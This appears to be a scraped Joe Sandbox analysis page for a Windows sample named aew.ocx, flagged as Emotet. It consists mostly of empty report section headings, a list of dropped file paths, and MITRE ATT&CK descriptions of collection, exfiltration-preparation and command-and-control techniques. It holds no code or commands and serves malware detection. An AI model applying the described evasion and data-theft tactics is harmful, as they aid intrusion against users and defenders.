Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aew.ocx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Windows Analysis Report
aew.ocx

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre